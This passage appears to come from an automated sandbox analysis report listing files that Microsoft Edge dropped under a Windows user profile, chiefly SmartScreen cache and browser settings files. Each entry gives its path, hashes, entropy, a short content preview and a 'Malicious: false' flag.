File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlpDqKt:Ls3gu
MD5:	4EB810A2FA5C46CE0DC2425EFFABBA77
SHA1:	30952B7A1FF1541344FBA45D10FC7E796E765DD8
SHA-256:	4B773E5D6A944B8E7388B6BF26219E234D2B1AE86D7BCF6A8B0F25ED35AAE283
SHA-512:	239B2C48DD00C54CCE329C74D95411F2C15A5EEEF295BFDB2BC5AF65262131B1B1AFB55CDAADDE527B7C565C2A043B670430C54ACEB81AECD4E2E8A7098EA2BE
Malicious:	false
Preview:	.........................................B.&`u/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSynchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.922828737239167
Encrypted:	false
SSDEEP:	3:2NGw+K+:fwZ+
MD5:	7BAAFE811F480ACFCCCEE0D744355C79
SHA1:	24B89AE82313084BB8BBEB9AD98A550F41DF7B27
SHA-256:	D5743766AF0312C7B7728219FC24A03A4FB1C2A54A506F337953FBC2C1B847C7
SHA-512:	70FE1C197AF507CC0D65E99807D245C896A40A4271BA1121F9B621980877B43019E584C48780951FC1AD2A5D7D146FC6EA4678139A5B38F9B6F7A5F1E2E86BA3
Malicious:	false
Preview:	customSynchronousLookupUris_0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSynchronousLookupUris_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3581
Entropy (8bit):	4.459693941095613
Encrypted:	false
SSDEEP:	96:JTMhnytNaSA4BOsNQNhnUZTFGKDIWHCgL5tfHaaJzRHF+P1sYmnfHUdT+GWBH7Y/:KyMot7vjFU
MD5:	BDE38FAE28EC415384B8CFE052306D6C
SHA1:	3019740AF622B58D573C00BF5C98DD77F3FBB5CD
SHA-256:	1F4542614473AE103A5EE3DEEEC61D033A40271CFF891AAA6797534E4DBB4D20
SHA-512:	9C369D69298EBF087412EDA782EE72AFE5448FD0D69EA5141C2744EA5F6C36CDF70A51845CDC174838BAC0ADABDFA70DF6AEDBF6E7867578AE7C4B7805A8B55E
Malicious:	false
Preview:	{"models":[],"geoidMaps":{"gw_my":"https://malaysia.smartscreen.microsoft.com/","gw_tw":"https://taiwan.smartscreen.microsoft.com/","gw_at":"https://austria.smartscreen.microsoft.com/","gw_es":"https://spain.smartscreen.microsoft.com/","gw_pl":"https://poland.smartscreen.microsoft.com/","gw_se":"https://sweden.smartscreen.microsoft.com/","gw_kr":"https://southkorea.smartscreen.microsoft.com/","gw_br":"https://brazil.smartscreen.microsoft.com/","au":"https://australia.smartscreen.microsoft.com/","dk":"https://denmark.smartscreen.microsoft.com/","gw_sg":"https://singapore.smartscreen.microsoft.com/","gw_fr":"https://france.smartscreen.microsoft.com/","gw_ca":"https://canada.smartscreen.microsoft.com/","test":"https://eu-9.smartscreen.microsoft.com/","gw_il":"https://israel.smartscreen.microsoft.com/","gw_au":"https://australia.smartscreen.microsoft.com/","gw_ffl4mod":"https://unitedstates4.ss.wd.microsoft.us/","gw_ffl4":"https://unitedstates1.ss.wd.microsoft.us/","gw_eu":"https://europe.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_636976985063396749.rel.v2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.006353613184618
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAcnRVVQcXwSYVn:YWLSGTt1o9LuLgfGBPAzkVj/T8nz3IV
MD5:	3871678EB5128C406C23EE1F4A7ABAC4
SHA1:	7C82CFB3B129F369EAAAD360A1CF6DD7904CF2F4
SHA-256:	F0EEAD54538FC5AA54B472A5EED67BEC362870E67E80220E36A9861C0AA8FF43
SHA-512:	92F6216E971F8D21EC0F83F79D3594514B3F321F44D117309DF274AAEC4E622B6AC3529DA4C0A4654CC70F0F0F359B15AD33C3D204881F64701955E6DD1E01DB
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1714006935922507}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.389669793590032
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQOn:YQ3Kq9X0dMgAEiLIMn
MD5:	03B6D5E81A4DC4D4E6C27BE1E932B9D9
SHA1:	3C5EF0615314BDB136AB57C90359F1839BDD5C93
SHA-256:	73B017F7C5ECD629AD41D14147D53F7D3D070C5967E1E571811A6DB39F06EACC
SHA-512:	0037EB23CCDBDDE93CFEB7B9A223D59D0872D4EC7F5E3CA4F7767A7301E96E1AF1175980DC4F08531D5571AFB94DF789567588DEB2D6D611C57EE4CC05376547
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":15}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a684c92d-771d-4399-be58-89944aaec192.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8325
Entropy (8bit):	5.789160465908757
Encrypted:	false
SSDEEP:	192:fsNweb8j/eiRUobuQrkndT6qRAq1k8SPxVLZ7VTiQ:fsNwa8jDvbvodT6q3QxVNZTiQ
MD5:	0DB0678B7E82A73D76EA7467CBBB11DF
SHA1:	7D892DDC1BC3DCF546E2A2FD1C977230BF5CA557
SHA-256:	2B467F0F6EC4CE691C386E1633219C2DC2FCED665607350B7D925FFE5A54782F
SHA-512:	14E0D54CC0EEC830F8C85B7860ED13B559C9681559B6A2C2155C48CD0D2A91EC89C587CE4DF34109A823FE25D3FC798A9BD10E08C56E7BBF987457EF5077CBB8
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ba00d8e9-3b4a-41f3-bf2c-0126261146b8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28706
Entropy (8bit):	6.0527927937063986
Encrypted:	false
SSDEEP:	768:6F5kruq4eV5xmx3QXkj80VlOodC68bkegWWBUZ:6Fmi3KHkO68YegWW6Z
MD5:	BA1C1EC38C2D1ACD84B4C2879B7D128A
SHA1:	6B3E3A190CD67910C0AB126E2DDFBD63C356BC12
SHA-256:	7798FBB364AB04FC3F8E763C2BFB134B78E7B82082F4DD9FE6B6712FF3784C35
SHA-512:	40D595AEC87F04CD7CEF4923FFCDE14A3020ABB9D5FF6366C639211E08451C0DE30C317185BD51D30C32D9F68293F8CD9A278DFC5DB5DD4C8A0B555CD6A4F347
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"2D98E86C22A85D74DE9A317BE284280223E65F75C8F8F93CFC812C09FFD210F4\"","apps_count_check_time":"13358379730705967","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1713906135"},"domain_actions_config":"H4sIAAAAAAAAAL19a3PktrH2X1HpU5LyQNLe5M355HeziV3Jxi5nU656T6VUIIghIYIAF5eZ4bj83083ONJKOwRmmutzPngtUXxwY6Nv6G78evmdqa1z/N/f/biRzqlaXv7510s+DFoJHpQ1/vLP//2fby4HCw+UxN9+vTS8h9cu39eN/Pd3l99chnHA3wfuguL6ZzloLmQvTYC/bbiO+MfvoEn5i6z+rsLV65e37OWbiz/8/fuPH/7xzYVWnbz4mxSd/ePFu9bZXl7dXrNr9vL1y2/ZzfWLi3/xNXfqAYbdXt3AX25v37y8/O2bx/FM2KcjkvDqR9tJMz+mp+C/2H/a8LgGjy3Uzx4/eR9H8fbt/8rk376Fyb/69tUrdvvqeO7Tn29uXl+z16+Pp/9/Pqa5LwBE9U4r6O97ZYIvf4+jdw8D/PXSS7ES7Sry

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c2d56a7a-5247-4fa6-b2ff-828228659820.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	27553
Entropy (8bit):	6.0636434108696715
Encrypted:	false
SSDEEP:	768:6F5kruq4eV5xmx3Qz1j80Elhtd2c68bkegWWBUO:6Fmi3KD15c68YegWW6O
MD5:	BEF70F580FE68262949C4DA9C1B4C9E9
SHA1:	04D52C137131FFF95187EA233D27B04739236C88
SHA-256:	3C3B96A3737C84D718B6FBCC661532FEB6C2B9590DD32983C273E92167891969
SHA-512:	C3572BFFC9F29EF56E03EC64B4381CE573872024F75F5F70B37987A7A2501BD717622DD1B01C645DA7A208BEFDA5AB12EA43A3AE07FCC02D05F65D84354C1B6C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"2D98E86C22A85D74DE9A317BE284280223E65F75C8F8F93CFC812C09FFD210F4\"","apps_count_check_time":"13358379730705967","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1713906135"},"domain_actions_config":"H4sIAAAAAAAAAL19a3PktrH2X1HpU5LyQNLe5M355HeziV3Jxi5nU656T6VUIIghIYIAF5eZ4bj83083ONJKOwRmmutzPngtUXxwY6Nv6G78evmdqa1z/N/f/biRzqlaXv7510s+DFoJHpQ1/vLP//2fby4HCw+UxN9+vTS8h9cu39eN/Pd3l99chnHA3wfuguL6ZzloLmQvTYC/bbiO+MfvoEn5i6z+rsLV65e37OWbiz/8/fuPH/7xzYVWnbz4mxSd/ePFu9bZXl7dXrNr9vL1y2/ZzfWLi3/xNXfqAYbdXt3AX25v37y8/O2bx/FM2KcjkvDqR9tJMz+mp+C/2H/a8LgGjy3Uzx4/eR9H8fbt/8rk376Fyb/69tUrdvvqeO7Tn29uXl+z16+Pp/9/Pqa5LwBE9U4r6O97ZYIvf4+jdw8D/PXSS7ES7Sry

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e03b6c29-4b01-4499-a3d6-4ab1f1ab126d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26527
Entropy (8bit):	6.062003643133468
Encrypted:	false
SSDEEP:	768:6F5kruq4eV5xmx3Qz1j80CodC68bkegWWBUZ:6Fmi3KD1268YegWW6Z
MD5:	3783B163414E7431F020FD379AE2CE9C
SHA1:	7CE8EA1EE95131C83A37EECF6FFBCEF87EB61916
SHA-256:	D0989B9F1E33DE7A910B4F8155EB9BE053D4B6CF146F6065DC01F615A2435045
SHA-512:	C03C4510C2815B15C97DA7EFAD44E839FAC4B58890ABA5935058961A6CBB27068C02DA312B845C4CD721F4C485196DBEB7384841098FD90E200FF5D6E1A3044F
Malicious:	false
